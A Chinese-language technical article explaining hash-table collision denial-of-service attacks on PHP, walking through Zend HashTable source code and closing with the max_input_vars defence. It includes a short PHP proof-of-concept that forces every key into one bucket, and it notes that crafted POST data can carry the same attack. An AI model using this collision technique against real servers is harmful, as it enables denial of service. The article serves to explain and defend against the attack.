PHP核心探索：哈希碰撞攻擊是什麼？

最近哈希表碰撞攻擊（Hashtable collisions as DOS attack）的話題不斷被提起，各種語言紛紛中招。本文結合PHP核心源碼，聊一聊這種攻擊的原理及實作。

哈希表碰撞攻擊的基本原理

哈希表是一種查找效率極高的資料結構，很多語言都在内部實作了哈希表。PHP中的哈希表是一種極為重要的資料結構，不但用于表示Array資料類型，還在Zend虛拟機内部用于存儲上下文環境資訊（執行上下文的變量及函數均使用哈希表結構存儲）。

理想情況下哈希表插入和查找操作的時間複雜度均為O(1)，任何一個資料項可以在一個與哈希表長度無關的時間内計算出一個哈希值（key），然後在常量時間内定位到一個桶（術語bucket，表示哈希表中的一個位置）。當然這是理想情況下，因為任何哈希表的長度都是有限的，是以一定存在不同的資料項具有相同哈希值的情況，此時不同資料項被定為到同一個桶，稱為碰撞（collision）。哈希表的實作需要解決碰撞問題，碰撞解決大體有兩種思路，第一種是根據某種原則将被碰撞資料定為到其它桶，例如線性探測——如果資料在插入時發生了碰撞，則順序查找這個桶後面的桶，将其放入第一個沒有被使用的桶；第二種政策是每個桶不是一個隻能容納單個資料項的位置，而是一個可容納多個資料的資料結構（例如連結清單或紅黑樹），所有碰撞的資料以某種資料結構的形式組織起來。

不論使用了哪種碰撞解決政策，都導緻插入和查找操作的時間複雜度不再是O(1)。以查找為例，不能通過key定位到桶就結束，必須還要比較原始key（即未做哈希之前的key）是否相等，如果不相等，則要使用與插入相同的算法繼續查找，直到找到比對的值或确認資料不在哈希表中。

PHP是使用單連結清單存儲碰撞的資料，是以實際上PHP哈希表的平均查找複雜度為O(L)，其中L為桶連結清單的平均長度；而最壞複雜度為O(N)，此時所有資料全部碰撞，哈希表退化成單連結清單。下圖PHP中正常哈希表和退化哈希表的示意圖。

​​

​​

哈希表碰撞攻擊就是通過精心構造資料，使得所有資料全部碰撞，人為将哈希表變成一個退化的單連結清單，此時哈希表各種操作的時間均提升了一個數量級，是以會消耗大量CPU資源，導緻系統無法快速響應請求，進而達到拒絕服務攻擊（DoS）的目的。

可以看到，進行哈希碰撞攻擊的前提是雜湊演算法特别容易找出碰撞，如果是MD5或者SHA1那基本就沒戲了，幸運的是（也可以說不幸的是）大多數程式設計語言使用的雜湊演算法都十分簡單（這是為了效率考慮），是以可以不費吹灰之力之力構造出攻擊資料。下一節将通過分析Zend相關核心代碼，找出攻擊哈希表碰撞攻擊PHP的方法。

Zend哈希表的内部實作

PHP中使用一個叫Backet的結構體表示桶，同一哈希值的所有桶被組織為一個單連結清單。哈希表使用HashTable結構體表示。相關源碼在zend/Zend_hash.h下：

typedef struct bucket {

ulong h; /* Used for numeric indexing */

uint nKeyLength;

void *pData;

void *pDataPtr;

struct bucket *pListNext;

struct bucket *pListLast;

struct bucket *pNext;

struct bucket *pLast;

char arKey[1]; /* Must be last element */

} Bucket;

typedef struct _hashtable {

uint nTableSize;

uint nTableMask;

uint nNumOfElements;

ulong nNextFreeElement;

Bucket *pInternalPointer; /* Used for element traversal */

Bucket *pListHead;

Bucket *pListTail;

Bucket **arBuckets;

dtor_func_t pDestructor;

zend_bool persistent;

unsigned char nApplyCount;

zend_bool bApplyProtection;

#if ZEND_DEBUG

int inconsistent;

#endif

} HashTable;

字段名很清楚的表明其用途，是以不做過多解釋。重點明确下面幾個字段：Bucket中的“h”用于存儲原始key；HashTable中的nTableMask是一個掩碼，一般被設為nTableSize – 1，與雜湊演算法有密切關系，後面讨論雜湊演算法時會詳述；arBuckets指向一個指針數組，其中每個元素是一個指向Bucket連結清單的頭指針。

雜湊演算法：PHP哈希表最小容量是8（2^3），最大容量是0×80000000（2^31），并向2的整數次幂圓整（即長度會自動擴充為2的整數次幂，如13個元素的哈希表長度為16；100個元素的哈希表長度為128）。nTableMask被初始化為哈希表長度（圓整後）減1。具體代碼在zend/Zend_hash.c的_zend_hash_init函數中，這裡截取與本文相關的部分并加上少量注釋。

ZEND_API int _zend_hash_init(HashTable *ht, uint nSize, hash_func_t pHashFunction, dtor_func_t pDestructor, zend_bool persistent ZEND_FILE_LINE_DC)

{

uint i = 3;

Bucket **tmp;

SET_INCONSISTENT(HT_OK);

//長度向2的整數次幂圓整

if (nSize >= 0x80000000) {

/* prevent overflow */

ht->nTableSize = 0x80000000;

} else {

while ((1U << i) < nSize) {

i++;

}

ht->nTableSize = 1 << i;

}

ht->nTableMask = ht->nTableSize - 1;

/*此處省略若幹代碼…*/

return SUCCESS;

}

值得一提的是PHP向2的整數次幂取圓整方法非常巧妙，可以背下來在需要的時候使用。

Zend HashTable的雜湊演算法很簡單：hash(key)=key&nTableMask

即簡單将資料的原始key與HashTable的nTableMask進行按位與即可。如果原始key為字元串，則首先使用Times33算法将字元串轉為整形再與nTableMask按位與：hash(strkey)=time33(strkey)&nTableMask

下面是Zend源碼中查找哈希表的代碼：

ZEND_API int zend_hash_index_find(const HashTable *ht, ulong h, void **pData)

{

uint nIndex;

Bucket *p;

IS_CONSISTENT(ht);

nIndex = h & ht->nTableMask;

p = ht->arBuckets[nIndex];

while (p != NULL) {

if ((p->h == h) && (p->nKeyLength == 0)) {

*pData = p->pData;

return SUCCESS;

}

p = p->pNext;

}

return FAILURE;

}

ZEND_API int zend_hash_find(const HashTable *ht, const char *arKey, uint nKeyLength, void **pData)

{

ulong h;

uint nIndex;

Bucket *p;

IS_CONSISTENT(ht);

h = zend_inline_hash_func(arKey, nKeyLength);

nIndex = h & ht->nTableMask;

p = ht->arBuckets[nIndex];

while (p != NULL) {

if ((p->h == h) && (p->nKeyLength == nKeyLength)) {

if (!memcmp(p->arKey, arKey, nKeyLength)) {

*pData = p->pData;

return SUCCESS;

}

}

p = p->pNext;

}

return FAILURE;

}

其中zend_hash_index_find用于查找整數key的情況，zend_hash_find用于查找字元串key。邏輯基本一緻，隻是字元串key會通過zend_inline_hash_func轉為整數key，zend_inline_hash_func封裝了times33算法，具體代碼就不貼出了。

攻擊

知道了PHP内部哈希表的算法，就可以利用其原理構造用于攻擊的資料。一種最簡單的方法是利用掩碼規律制造碰撞。上文提到Zend HashTable的長度nTableSize會被圓整為2的整數次幂，假設我們構造一個2^16的哈希表，則nTableSize的二進制表示為：1 0000 0000 0000 0000，而nTableMask = nTableSize – 1為：0 1111 1111 1111 1111。接下來，可以以0為初始值，以2^16為步長，制造足夠多的資料，可以得到如下推測：

0000 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0001 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0010 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0011 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0100 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

……

概況來說隻要保證後16位均為0，則與掩碼位于後得到的哈希值全部碰撞在位置0。下面是利用這個原理寫的一段攻擊代碼：

<?php

$size = pow(2, 16);

$startTime = microtime(true);

$array = array();

for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {

$array[$key] = 0;

}

$endTime = microtime(true);

echo $endTime - $startTime, ' seconds', "\n";

?>

這段代碼在我的VPS上（單CPU，512M記憶體）上用了近88秒才完成，并且在此期間CPU資源幾乎被用盡。

而普通的同樣大小的哈希表插入僅用時0.036秒：

<?php

$size = pow(2, 16);

$startTime = microtime(true);

$array = array();

for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $size; $key += 1) {

$array[$key] = 0;

}

$endTime = microtime(true);

echo $endTime - $startTime, ' seconds', "\n";

?>

可以證明第二段代碼插入N個元素的時間在O(N)水準，而第一段攻擊代碼則需O(N^2)的時間去插入N個元素。

當然，一般情況下很難遇到攻擊者可以直接修改PHP代碼的情況，但是攻擊者仍可以通過一些方法間接構造哈希表來進行攻擊。例如PHP會将接收到的HTTP POST請求中的資料構造為$_POST，而這是一個Array，内部就是通過Zend HashTable表示，是以攻擊者隻要構造一個含有大量碰撞key的post請求，就可以達到攻擊的目的。具體做法不再示範。

防禦

POST攻擊的防護：針對POST方式的哈希碰撞攻擊，目前PHP的防護措施是控制POST資料的數量。在>=PHP5.3.9的版本中增加了一個配置項max_input_vars，用于辨別一次http請求最大接收的參數個數，預設為1000。是以PHP5.3.x的使用者可以通過更新至5.3.9來避免哈希碰撞攻擊。5.2.x的使用者可以使用這個patch：http://www.laruence.com/2011/12/30/2440.html。